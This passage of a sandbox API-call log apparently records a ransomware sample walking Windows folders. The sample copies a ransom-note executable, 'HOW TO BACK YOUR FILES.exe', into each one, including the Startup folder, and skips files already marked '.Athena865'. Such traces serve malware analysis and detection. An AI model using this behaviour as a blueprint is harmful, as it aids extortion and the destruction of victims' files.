ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.793] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.793] ReleaseMutex (hMutex=0xec) returned 1 [0103.793] CloseHandle (hObject=0xec) returned 1 [0103.793] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations" [0103.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0103.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce28 | out: hHeap=0x4f0000) returned 1 [0103.793] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations") returned 64 [0103.793] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5F4F79C6E3C5836E6B9E76EDCAFA41C9") returned 0xec [0103.793] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.794] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations" [0103.794] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.794] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.794] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\customdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.794] GetLastError () returned 0x0 [0103.794] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.795] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.795] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe55f9d60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe55f9d60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.795] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.795] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.795] lstrcpyW (in: lpString1=0x241e8ca, lpString2="1b4dd67f29cb1962.customDestinations-ms.Athena865" | out: lpString1="1b4dd67f29cb1962.customDestinations-ms.Athena865") returned="1b4dd67f29cb1962.customDestinations-ms.Athena865" [0103.795] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms.Athena865") returned 48 [0103.795] lstrlenW (lpString="Athena865") returned 9 [0103.795] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.795] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe55f9d60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5afe4de1b92fc382.customDestinations-ms.Athena865", cAlternateFileName="5AFE4D~1.ATH")) returned 1 [0103.795] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.795] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.795] lstrcpyW (in: lpString1=0x241e8ca, lpString2="5afe4de1b92fc382.customDestinations-ms.Athena865" | out: lpString1="5afe4de1b92fc382.customDestinations-ms.Athena865") returned="5afe4de1b92fc382.customDestinations-ms.Athena865" [0103.795] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms.Athena865") returned 48 [0103.795] lstrlenW (lpString="Athena865") returned 9 [0103.795] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.795] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe561fec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7e4dca80246863e3.customDestinations-ms.Athena865", cAlternateFileName="7E4DCA~1.ATH")) returned 1 [0103.795] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.795] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.795] lstrcpyW (in: lpString1=0x241e8ca, lpString2="7e4dca80246863e3.customDestinations-ms.Athena865" | out: lpString1="7e4dca80246863e3.customDestinations-ms.Athena865") returned="7e4dca80246863e3.customDestinations-ms.Athena865" [0103.795] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms.Athena865") returned 48 [0103.795] lstrlenW (lpString="Athena865") returned 9 [0103.795] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.795] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.795] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.795] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.796] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.796] ReleaseMutex (hMutex=0xec) returned 1 [0103.796] CloseHandle (hObject=0xec) returned 1 [0103.796] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\Default User\\Start Menu\\Programs") returned="C:\\Documents and Settings\\Default User\\Start Menu\\Programs" [0103.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5027a8 | out: hHeap=0x4f0000) returned 1 [0103.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cea0 | out: hHeap=0x4f0000) returned 1 [0103.796] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Start Menu\\Programs") returned 58 [0103.796] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B093F79505538FA651F184244272EBBA") returned 0xec [0103.796] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.796] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\Default User\\Start Menu\\Programs") returned="C:\\Documents and Settings\\Default User\\Start Menu\\Programs" [0103.796] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.796] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.797] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.797] GetLastError () returned 0x0 [0103.797] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.797] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.797] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe56922e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe56922e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.797] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.797] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.797] lstrcpyW (in: lpString1=0x241e8be, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0103.797] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0103.797] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0103.797] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.798] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe561fec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe561fec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0103.798] lstrcmpiW (lpString1="Administrative Tools", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.798] lstrcmpiW (lpString1="Administrative Tools", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.798] lstrcpyW (in: lpString1=0x241e8be, lpString2="Administrative Tools" | out: lpString1="Administrative Tools") returned="Administrative Tools" [0103.798] lstrcatW (in: lpString1="Administrative Tools", lpString2="\\" | out: lpString1="Administrative Tools\\") returned="Administrative Tools\\" [0103.798] lstrcatW (in: lpString1="Administrative Tools\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Administrative Tools\\HOW TO BACK YOUR FILES.exe") returned="Administrative Tools\\HOW TO BACK YOUR FILES.exe" [0103.798] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\Administrative Tools\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\administrative tools\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe566c180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0103.799] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.799] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.799] lstrcpyW (in: lpString1=0x241e8be, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.799] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.799] lstrlenW (lpString="Athena865") returned 9 [0103.799] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d52d00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.799] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe566c180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer (64-bit).lnk.Athena865", cAlternateFileName="INTERN~1.ATH")) returned 1 [0103.799] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.799] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.799] lstrcpyW (in: lpString1=0x241e8be, lpString2="Internet Explorer (64-bit).lnk.Athena865" | out: lpString1="Internet Explorer (64-bit).lnk.Athena865") returned="Internet Explorer (64-bit).lnk.Athena865" [0103.799] lstrlenW (lpString="Internet Explorer (64-bit).lnk.Athena865") returned 40 [0103.799] lstrlenW (lpString="Athena865") returned 9 [0103.799] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6392a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe56922e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer.lnk.Athena865", cAlternateFileName="INTERN~2.ATH")) returned 1 [0103.799] lstrcmpiW (lpString1="Internet Explorer.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.799] lstrcmpiW (lpString1="Internet Explorer.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.799] lstrcpyW (in: lpString1=0x241e8be, lpString2="Internet Explorer.lnk.Athena865" | out: lpString1="Internet Explorer.lnk.Athena865") returned="Internet Explorer.lnk.Athena865" [0103.799] lstrlenW (lpString="Internet Explorer.lnk.Athena865") returned 31 [0103.799] lstrlenW (lpString="Athena865") returned 9 [0103.799] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe56922e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe56922e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0103.799] lstrcmpiW (lpString1="Maintenance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.799] lstrcmpiW (lpString1="Maintenance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.800] lstrcpyW (in: lpString1=0x241e8be, lpString2="Maintenance" | out: lpString1="Maintenance") returned="Maintenance" [0103.800] lstrcatW (in: lpString1="Maintenance", lpString2="\\" | out: lpString1="Maintenance\\") returned="Maintenance\\" [0103.800] lstrcatW (in: lpString1="Maintenance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Maintenance\\HOW TO BACK YOUR FILES.exe") returned="Maintenance\\HOW TO BACK YOUR FILES.exe" [0103.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\Maintenance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\maintenance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe56b8440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe56b8440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0103.800] lstrcmpiW (lpString1="Startup", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.800] lstrcmpiW (lpString1="Startup", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.800] lstrcpyW (in: lpString1=0x241e8be, lpString2="Startup" | out: lpString1="Startup") returned="Startup" [0103.800] lstrcatW (in: lpString1="Startup", lpString2="\\" | out: lpString1="Startup\\") returned="Startup\\" [0103.800] lstrcatW (in: lpString1="Startup\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Startup\\HOW TO BACK YOUR FILES.exe") returned="Startup\\HOW TO BACK YOUR FILES.exe" [0103.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\Startup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\programs\\startup\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.801] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe56b8440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe56b8440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 0 [0103.801] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.801] ReleaseMutex (hMutex=0xec) returned 1 [0103.801] CloseHandle (hObject=0xec) returned 1 [0103.801] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Music") returned="C:\\Documents and Settings\\Public\\Documents\\My Music" [0103.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e2e0 | out: hHeap=0x4f0000) returned 1 [0103.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cee8 | out: hHeap=0x4f0000) returned 1 [0103.801] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Documents\\My Music") returned 51 [0103.801] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\962C04381FEDC22691F22B9DF9F20590") returned 0xec [0103.801] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.801] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Music") returned="C:\\Documents and Settings\\Public\\Documents\\My Music" [0103.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.802] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.802] GetLastError () returned 0x0 [0103.802] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.803] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.803] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7ef5c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7ef5c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.803] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.803] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.803] lstrcpyW (in: lpString1=0x241e8b0, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.803] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.803] lstrlenW (lpString="Athena865") returned 9 [0103.803] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2d4540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.803] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0103.803] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.803] lstrcmpiW (lpString1="Sample Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.804] lstrcpyW (in: lpString1=0x241e8b0, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music" [0103.804] lstrcatW (in: lpString1="Sample Music", lpString2="\\" | out: lpString1="Sample Music\\") returned="Sample Music\\" [0103.804] lstrcatW (in: lpString1="Sample Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Music\\HOW TO BACK YOUR FILES.exe") returned="Sample Music\\HOW TO BACK YOUR FILES.exe" [0103.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and 